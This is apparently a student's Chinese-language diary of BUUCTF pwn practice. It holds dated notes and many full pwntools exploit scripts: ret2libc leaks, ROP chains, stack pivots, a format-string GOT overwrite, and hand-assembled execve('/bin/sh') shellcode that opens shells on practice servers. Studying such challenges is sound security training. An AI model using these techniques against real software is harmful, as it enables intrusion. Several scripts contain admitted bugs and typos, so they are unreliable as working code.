a.recv(0x20)
sh=u64(a.recv(8))-280 #接收20个字节后的再8个字节才是地址
call_59=sh+0x10 #系统调用号的地址

#getshell
payload2 = '/bin/sh\x00'.ljust(0x10,'a')+p64(execve)
payload2 += p64(csu_end)+p64(0)+p64(1)+p64(call_59)+p64(0)+p64(0)+p64(0)
payload2 += p64(csu_front)
payload2 += 'a'*0x38+p64(pop_rdi)+p64(sh)+p64(sys)
a.sendline(payload2)
a.interactive()

wustctf2020_getshell

2024.7.16

日常检查

image-20240716203320024

老规矩,运行一下

image-20240716203413577

扔进ida里面看看

简单的后门,✌

1
2
3
4
5
6
from pwn import *
r=remote('node5.buuoj.cn',26664)

payload=flat([b'a'*(0x18+4),0x804851B])
r.sendline(payload)
r.interactive()

flag{e7b55206-1102-461d-8888-28f056948c50}

(仔细一看,还以为是栈迁移呢)

jarvisoj_level3_x64

2024.7.16

日常检查

image-20240716205436537

ida运行一下

image-20240716205534304

栈溢出应该是

嗯,就是一个泄露libc版本吧,嗯,漏洞的话应该是read函数,用write函数来泄露

image-20240716205758907

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#64位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
elf = ELF('./1111')
p=remote('node5.buuoj.cn',25473)

#绕过


#params1
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr =elf.symbols['main']
pop_rdi_addr=0x00000000004006b3
pop_rsi_r15_addr=0x00000000004006b1
#这里未设置rdx是因为它的值是自带的够的。
#attack1
p.recvuntil('Input:\n')
payload1=b'a'*(0x80+8)+p64(pop_rdi_addr)+p64(1)
payload1+=p64(pop_rsi_r15_addr)+p64(write_got)+p64(8)
payload1+=p64(write_plt)+p64(main_addr)

p.sendline(payload1)
write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(write_addr))



#构建一下libc
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2

p.recvuntil('Input:\n')
payload2 = flat([b'A'*(0x80+8),pop_rdi_addr,bin_sh,system_addr])
p.sendline(payload2)
p.interactive()

解决了也是

flag{39f9f11a-1651-48fa-96a8-06b9249d221c}

babyheap_0ctf_2017

2024.7.17

感觉没见过哈、看看,日常检查

image-20240717095402673

运行一下

image-20240717095332540

感觉确实遇到的太早哈

堆题

告辞,先放着!!!

mrctf2020_shellcode

2024.7.17

日常检查

image-20240717103837246

扔进ida里面看一眼

反编译失败了,翻一手小笔记

image-20240717104114338

okok,不行,没成功!

简单看一眼汇编好了。发现是不是就是一个用puts函数泄露libc,漏洞存在的是read函数!

猜测简单写一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#64位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
p = remote('node5.buuoj.cn',27060)
elf = ELF('./1111')

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi =0x000000000000124b
ret_addr=0x0000000000001016
#attack1
p.recvuntil('Show me your magic!')
payload = b'a'*(0x410+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)

gets_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(gets_addr))

#文件库
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
payload = flat([b'a'*(0x410+8),ret_addr,pop_rdi,bin_sh,system_addr])
p.sendline(payload)
p.interactive()

看到libc版本以为都结束了,结果方向错了,题目是传一个shellcode上去

image-20240717111755634

看到其实并不存在溢出的可能。并且调试看见,plt表可读不可写,所以不使用泄露libc吧

image-20240717112911746

这里说直接传shellcode就行

1
2
3
4
5
6
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
r=remote('node5.buuoj.cn',27060)
shellcode = asm(shellcraft.sh())
r.sendline(shellcode)
r.interactive()

也是得到flag了

flag{94563ff3-8148-4aba-818c-2d2fbcb9bddb}

bjdctf_2020_babyrop2

2024.7.17

日常检查

image-20240717140146443

这里多了一个Canary栈保护,简单运行一下

image-20240717140243537

扔进ida里面

gift函数看一下,猜测是格式化字符串漏洞

vlnu函数里面有个read函数存在溢出

怎么说呢?是泄露libc版本还是csu呢?

题还是做的太少了!


格式化字符串泄露Canary,puts函数泄露libc版本

利用思路

  • 首先利用格式化字符串漏洞绕过Canary函数
  • 在通过read函数打retlibc
  • 首先,

Canary的值是固定的rbp-8

image-20240717144708245

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',26355)
elf=ELF('./1111')
context.log_level = 'debug'

#p.recv()
gdb.attach()
payload = '%7$p'
r.sendline(payload)
r.recvuntil('0x')
cancry = int(r.recv(16),16)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400993
main_addr = elf.symbols['main']
vuln_addr = 0x0400887


payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)

r.recvuntil('story!\n')
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh')

r.recvuntil('story!\n')

payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr)

r.sendline(payload)
r.interactive()

​ [BUUCTF]PWN——bjdctf_2020_babyrop2_bjdctf pwn-CSDN博客

bjdctf_2020_router

2024.7.18

日常检查

image-20240718091447864

运行一下,

image-20240718091703786

感觉没啥用,丢进ida里面看一眼

好消息是有system函数

ROPgadget找一下有没有/bin/sh

image-20240718092131328

看样子是应该没有。欧克找找漏洞

嘶,找找好像有个read,但感觉又像栈迁移。嗯~,最终还是搜了一手,发现他们的做法,直接nc就行

然后用了有个;命令直接解就行

1
#在 Linux 命令行中,分号 (;) 是用来分隔多个命令的。

我看还有用脚本的,

image-20240718094224690

这里了解一下strcat函数:意思就是吧buf加在dest后面,但是你还会发现dest是一个指针,所以我们直接给buf赋值/bin/sh就行。

1
2
3
4
5
6
7
from pwn import *
r=remote('node5.buuoj.cn',25167)
r.recvuntil('\n')
r.sendline('1')
r.recvuntil('Please input the ip address:')
r.sendline(';/bin/sh')
r.interactive()

jarvisoj_level4

2024.7.18

日常检查

image-20240718095818760

这个感觉会很简单哈

ida里面看一眼

一眼libc版本泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#32位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
context.os='linux'

elf = ELF('./1111')
p=remote('node5.buuoj.cn',29175)



#params1
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr =elf.symbols['main']

#attack1
#p.recv()
payload1 = b"A"*(0x88+4)+ p32(write_plt) + p32(main_addr) +p32(1)+ p32(write_got)+p32(4)
p.sendline(payload1)
write_addr = u32(p.recv(4))
print(hex(write_addr))



#构建一下libc
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
#p.recv()
#p.sendline(payload)
payload2 = flat([b'A'*(0x88+4),system_addr,main_addr,bin_sh])
p.sendline(payload2)
p.interactive()

嘶,不到为什么找不到版本,也不到为啥,网上扒的wp脚本也都跑不出来,先放着。md

啊啊啊啊啊!调半天整不出来

picoctf_2018_buffer overflow 1

2024.7.18

日常检查

image-20240718110315180

丢进ida里面看一眼

哇塞,gets函数,栈溢出

先看看是不是简单的后门

1
2
3
4
5
6
7
from pwn import*
p=remote('node5.buuoj.cn',28380)

#r.recv()
payload=b'A'*(0x28+4)+p32(0x080485CB)
p.sendline(payload)
p.interactive()

OKOK,BUUCTF今天咋了,连着两个题都连不上啊啊啊啊啊

查了一下wp,就是一个简单的后门。

pwnable_orw

2024.7.18

放着

说是有病毒,放着

inndy_rop

2024.7.18

日常检查

image-20240718144128999

ida打开

漏洞:gets函数

嘶~看不出来啥

方法:利用工具ROPgadget

1
ROPgadget --binary rop --ropchain

image-20240718145124558

欧克,说是直接溢出就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# Padding goes here

from pwn import *
from struct import pack
r=remote('node5.buuoj.cn',28061)


def payload():
p = b'a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
return p

shell =payload()
r.sendline(shell)
r.interactive()

歪日,连着G了这么多么?

jarvisoj_test_your_memory

2024.7.18

日常检查

image-20240718152342204

运行一下,丢进ida里面

有system函数,找找sh

image-20240718152946847

没有,有个后门,但是找不到漏洞,看一眼字符串

image-20240718153838801

简单的后门吗?漏洞是printf函数

那就是

1
2
3
4
5
6
7
8
from pwn import*
p=remote('node5.buuoj.cn',29298)

backdoor=0x80485BD
cat_flag=080487E0
payload=b'A'*(0x13+4)+p32(backdoor)+p32(main)+p32(cat_flag)
p.sendline(payload)
p.interactive()

[ZJCTF 2019]EasyHeap

2024.7.18

日常检查

image-20240718164726115

没什么用,heap感觉应该不会。

image-20240718164914973

堆题

放着!!!

hitcontraining_uaf

2024.7.18

日常检查

image-20240719105916716

ida里面看一眼

有后门,找一下漏洞,有NX应该打不了ret2shellcode

我感觉应该常规ret2text

好好好,整数溢出

image-20240719111832879

不确定对不对

上网一搜,原来的堆的题。告辞

堆题

PicoCTF_2018_buffer_overflow_2

2024.7.22

日常检查

image-20240722163251021

简单运行一下

image-20240722163413063

猜测应该是一个栈溢出的题

丢进ida里面,应该就是一个简单的后门函数!

漏洞是gets函数,后门是win函数 ,直接溢出一下看看。

1
2
3
4
5
6
7
from pwn import *

r=remote('node5.buuoj.cn',28213)
backdoor=0x80485CB
payload=b''*(0x6c+4)+p32(backdoor)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
r.sendline(payload)
r.interactive()

嘶!有个小插曲,忘记有个条件,最后传个参数就好了

cmcc_simplerop

2024.7.22

日常检查

image-20240722183119975

丢进ida里面看一看,read函数存在漏洞,用puts函数绕过一下

image-20240722184137449

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#32位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
elf = ELF('./1111')
p=remote('node5.buuoj.cn',27409)
#p = process('./pwn')本地

#params1
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
#attack1
payload = b"A"*(0x1c+4)+ p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('Your input :')
puts_addr = u32(p.recv(4))
print(hex(puts_addr))



#构建一下libc
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
p.recvuntil('Your input :')
payload = flat([b'A'*(0x1c+4),system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()

我靠,plt表居然一个函数都没有。

image-20240722185306412

上网找了一手

ROPgadget找一手

image-20240722185831245

系统调用的话就应该知道

32位的函数调用过程

传参方式:首先系统将系统调用号传入eax,然后将参数从左到右依次存入ebx,ecx,edx寄存器,返回值值存在eax寄存器

使用read函数将”/bin/sh\x00”读入bss段中,所以这里的sh_addr函数应该不一样

只要在bss段上就行说是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
r=remote('node5.buuoj.cn',27409)
#params
int_0x80_addr=0x080493e1
sh_addr=0x080be238
eax_addr=0x080bae06
ret_add=0x080481b2
pop_edx_ecx_ebx=0x0806e850
read_addr=0x806CD50
#0x0806e829 : pop ebx ; pop edx ; ret
#0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
payload = b'a'*(0x1c+4)+p32(read_addr)+p32(0)+p32(sh_addr)+p32(8)
payload +=p32(eax_addr)+p32(11)++p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sg_addr)+(int_0x80_addr)
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

得到flag

flag{a7b21097-c99c-40ff-9a0a-7c0576f58326}

wustctf2020_getshell_2

2024.7.22

日常检查

image-20240722202107264

简单运行一下

image-20240722202229509

ida运行一下

read函数加一个简单的后门

再查看后门函数的时候我们可以发现

image-20240722202454628

image-20240722204634597

简单写一下EXP:

1
2
3
4
5
6
7
from pwn import*
p=remote('node5.buuoj.cn',27014)
system_addr=0x80483E0
sh_addr=0x08048670
payload=b'a'*(0x18+4)+p32(system_addr)+b'aaaa'+p32(sh_addr)
p.sendline(payload)
p.interactive()

感觉没什么问题啊!!!

1
2
3
4
5
6
7
from pwn import*
p=remote('node5.buuoj.cn',27014)
system_addr=0x8048529
sh_addr=0x08048670
payload=b'a'*(0x18+4)+p32(system_addr)+p32(sh_addr)
p.sendline(payload)
p.interactive()

mrctf2020_easyoverflow

2024.7.23

image-20240723092133947

简单运行一下

image-20240723092228267

扔进ida里面看一眼

溢出的漏洞是gets函数,有个条件能执行system函数

 image-20240723092504020

check(v5)就是检查v5是否为’n0t_r3@11y_f1@g‘

image-20240723095034454

V4和V5在一块

思路:v4的输入是用的gets函数,我们可以在读入v4的时候将v5覆写成n0t_r3@11y_f1@g从而获取shell

画一下栈顶的空间

1
2
3
4
5
6
7
8
9
10
           +---------------------------+
| n0t_r3@11y_f1@g | 覆盖V5
V5 0x40--->+---------------------------+
| a | a占位填满栈空间
| .... | ......
| a | a占位填满栈空间
| a | a占位填满栈空间
| a | a占位填满栈空间
| a | a占位填满栈空间
V4 0x70--->+---------------------------+

大概就是这样

1
2
3
4
5
6
from pwn import *
r=remote('node5.buuoj.cn',26485)
payload=b'a'*(0x30)+b'n0t_r3@11y_f1@g'

r.sendline(payload)
r.interactive()

然后就行了!!

bbys_tu_2016

2024.7.23

日常检查

image-20240723100653461

简单运行一下

image-20240723100724032

扔进ida里面

image-20240723101141877

gpt说这个 __isoc99_scanf("%s", &v4);存在缓冲区溢出。

不知道能不能像正常的后门进行溢出。

image-20240723103613803

1
2
3
4
5
6
from pwn import *
r=remote('node5.buuoj.cn',25295)
backdoor=0x804856D
payload=b'a'*(0x14+4)+p32(backdoor)
r.sendline(payload)
r.interactive()

xdctf2015_pwn200

2024.7.23

日常检查

image-20240723104551054

简单运行一下

image-20240723104634322

丢进ida里面看看

应该是一个基本的libc版本泄露,write函数泄露,read函数溢出

write函数泄露libc版本,read函数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',25041)
elf = ELF('./1111')

#params
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

#attack1
r.recvuntil('\n')
payload=bs'a'*(0x6c+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))

#libic
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write') #计算偏移量#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_addr=offset+libc.dump('str_bin_sh')

#attack2
r.recvuntil('\n')
payload=b'a'*(0x6c+4)+p32(system_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()

ciscn_2019_s_4

2024.7.23

日常检查

image-20240723112658527

简单运行一下

image-20240723112747474

看着像溢出题哈

ida打开,感觉像后门

溢出函数是read函数,感觉长度不够,应该是一个栈迁移

栈迁移

1
system_addr= 0x8048400

利用过程:

  • 一、泄露ebp
  • 二、找到参数s在栈上的位置
  • 三、布置s栈上的值
  • 四、栈劫持、获取shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p=remote('node3.buuoj.cn',25010)
context.log_level='debug'
sys_addr=0x08048400
leave_ret=0x008048562
#gdb.attach(p,'b *0x8048596')

payload =b'a'*0x24+b'bbbb'
p.sendafter('name?\n',payload)
p.recvuntil('bbbb')

leak_addr = u32(p.recv(4))

buf=leak_addr-0x38
payload2=(p32(sys_addr)+p32(0xdeadbeef)+p32(buf+0xc)+b'/bin/sh\x00')
payload2=payload2.ljust(0x28,b'a')+p32(buf-4)+p32(leave_ret)
sleep(1)
p.send(payload2)
p.interactive()

wustctf2020_closed

2024.7.23

日常检查

image-20240723193600655

简单运行一下

image-20240723193656829

感觉像溢出的题目哈,丢进ida里面看一眼

呕吼,后门

1
shell=0x4006C6

找找漏洞

额,没有

上网!!康康!!

stdout重定向。

在看了别人的wp之后了解到,原来可以对stdout重定向,将文件描述符 1 重定向到文件描述符 0 :
因此这题不用写exp,直接执行 execv 1>&0 ,也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了。

[ZJCTF 2019]Login

2024.7.23

日常检查

image-20240723201938323

简单运行一下

image-20240723202050290

ida里面看一看,有system有/bin/sh

思路如下:

1
#注意到 password_checker 有 call rax 指令,倒推 rax 的来源,在 main 函数中把 rax 的来源覆盖为漏#洞函数的地址即可 get shell

image-20240724100025041

image-20240724101713135

找到rbp+var_18

看一下栈的情况

image-20240724101853280

exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = remote('node5.buuoj.cn',25759)

backdoor = 0x400e88

r.sendlineafter(': ','admin')
r.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*0x3a+p64(backdoor))
r.interactive()

我是fw

为什么要用空字符占呢?????

jarvisoj_level1

2024.7.24

日常检查

image-20240724102719019

简单运行一下

image-20240724103014947

丢进ida里面看一眼

write函数发现溢出漏洞,看一眼感觉是泄露libc基址,

read函数漏洞,write函数泄露libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',29826)
elf = ELF('./1111')

#params
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

#attack1
r.recvuntil('\n')
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))

#libic
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write') #计算偏移量#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_addr=offset+libc.dump('str_bin_sh')

#attack2
r.recvuntil('\n')
payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()

hitcontraining_magicheap

2024.7.24

日常检查

image-20240724110951999

丢进ida里面

有后门,但是heap,是什么意思呢?

还没学。先放着!!

picoctf_2018_shellcode

2024.7.24

日常检查

image-20240724142026688

看着像格式化字符串漏洞。丢进ida里面看一眼

放着先!!

axb_2019_fmt32

2024.7.24

日常检查

image-20240724142610468

丢进ida里面看一眼

格式字符串应该是

格式字符串盲打

image-20240724142916973

上面的read函数不存在溢出风险

  • 找一下偏移

baaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

image-20240724150601348

知道偏移为8

利用思路:

  • 首先知道偏移
  • 利用printf函数泄露基址
  • 修改GOT表
  • 获得shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')

r = remote("node5.buuoj.cn",29543)
elf=ELF("./1111")

printf_got = elf.got['printf']

payload = b'A' + p32(printf_got) +b'B'+ '%8$s'
#‘A’ 是用来补位的,这样后面的printf函数的got表地址就会在栈上相对距离为8的位置
#‘B’ 相当于标记位,下面在接收数据的时候,接收到字符‘B’,后面跟着的就是我们泄露出来的函数地址
#%8$s 利用格式化字符串漏洞的%8$s去泄露出栈上相对距离为8的地址上的值

r.sendafter('me:', payload)
r.recvuntil("B")
printf_addr = u32(r.recv(4))
print "printf_addr"+hex(printf_addr)

libc=LibcSearcher('printf',printf_addr)

libc_base=printf_addr-libc.dump('printf')
system=libc_base+libc.dump('system')
print "system_addr"+hex(system)

payload='a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)

#p.recvuntil(':')
r.sendline(payload)

r.sendline(';/bin/sh\x00')
r.interactive()

1
2
3
4
5
6
''''
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写

others_babystack

2024.7.24

日常检查,不到干哈的

image-20240724185933223

运行一下

image-20240724190111267

感觉是绕canary的题

丢进ida里面看看

ciscn_2019_s_9

2024.7.24

日常检查

image-20240724191438622

运行一下

image-20240724191732029

丢进ida里面

偏移32

image-20240724192542412

一样

image-20240724192616127

存在漏洞

image-20240724192841116

puts函数直接泄露libc版本,溢出就行?

32位puts函数泄露libc版本,fgets函数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#32位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
elf = ELF('./1111')
p=remote('node5.buuoj.cn',25578)


#params1
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
#attack1
payload = b"A"*(0x20+4)+ p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
#p.recvuntil('\n\n')
puts_addr = u32(p.recv(4))
print(hex(puts_addr))

#构建一下libc
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
payload = flat([b'A'*(0x20+4),system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()

我靠,泄露半天,发现NX没开,直接ret2shellcode

啊啊啊啊啊。

ok,shellcode也不会,因为是

汇编代码写shellcode

我啥也不会!!!!

要自己手动写入的原因是:栈的大小只有0x20,不能完全写入

1
2
3
4
5
6
7
8
9
10
11
12
shellcode ='''
xor eax,eax #eax置0
xor edx,edx #edx置0
push edx #将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f #传递“/bin”
mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB #eax置为execve函数的中断号
int 0x80 #调用软中断
'''
shellcode=asm(shellcode)

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

p=remote('node3.buuoj.cn',28314)
context(log_level='debug',arch='i386',os='linux')

jump_esp=0x8048554
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''

shellcode=asm(shellcode)
print len(shellcode) #23

#shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

payload=shellcode.ljust(0x24,'\x00')+p32(jump_esp)
print len(payload) # 40

payload+=asm("sub esp,40;call esp")

p.sendline(payload)
p.interactive()

歪日!!!

1
2
3
4
5
6
7
from pwn import *
p=remote('node5.buuoj.cn',27092)

context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.sh())
print len(shellcode)
sh.interactive()

gyctf_2020_borrowstack

2024.7.25

日常检查

image-20240725093849498

丢进ida里面

image-20240725094136196

东西很少哈,感觉就是libc版本泄露加read函数溢出,这个溢出的长度好像是够的,gdb动态调试看看,

image-20240725094746681

96到112,(但是其实吧,bank在bss段上),NX保护开着,应该传不了shellcode。

嘶!先看看能不能泄露出来吧

1
2
3
4
payload = b'a'*(0x60+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#0x68+32=136
#是不是好像不够,要栈迁移还是用bank呢?
#bank的长度是完全够的

现在有个问题就是bss段上的数组怎么确认长度 ,还是只能乖乖做栈迁移呢?(主要是栈迁移我不太会)长度一样试一试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#64位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
p = remote('node5.buuoj.cn',29050)
elf = ELF('./1111')

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi =0x0000000000400703
ret_addr=0x00000000004004c9
#attack1
p.recvuntil('want\n')
p.sendline('aaaa')
payload = b'a'*(0x60+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.recvuntil('now!\n')
p.sendline(payload)
#puts_addr = u64(p.recv(6))
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

okok,肯定是不行的!
乖乖栈迁移吧

栈迁移

还要注意的是我们栈迁移到bank这的时候,发现距离GOT表太近,还得把栈抬高一点,并且在泄露libc基址的时候。还得使用一下one-gadget来解决system(/bin/sh)函数无法使用的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding:utf-8

from pwn import *

context.log_level = 'debug'
debug = 1

def exp(debug):
elf = ELF('./borrowstack')
lib = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
if debug == 1:
r = process('./borrowstack')
#gdb.attach(r, 'b *0x00000040069A')
#r = gdb.debug('./borrowstack', 'b *0x000000000040068F')
else:
r = remote('node3.buuoj.cn', 26597)


r.recvuntil('\n')

one_gadget = 0x4526a
r.send('a' * 0x60 + p64(0x0000000000601080 + 0x8 * 9 - 0x8) + p64(0x0000000000400699))

r.send(p64(0) * 9 + p64(0x0000000000400703) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x0000004006FA) + p64(0) + p64(1) + p64(0x000000000601028) + p64(0x200) + p64(0x601080 + 0xa0 - 0x8) + p64(0) + p64(0x000004006E0))
r.recvuntil('\n')
libc = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00')) - lib.sym['puts']
log.info('lib \'s address => %#x'%libc)
r.send(p64(libc + one_gadget) + p64(0) * 10)
r.interactive()

exp(debug)

one-gadget 是glibc里调用execve(’/bin/sh’, NULL, NULL)的一段非常有用的gadget。在我们能够控制ip(也就是pc)的时候,用one-gadget来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system(“sh”),这个时候one-gadget就可以搞定了。

并且我看wp的时候也有re2csu做的

1
2
3
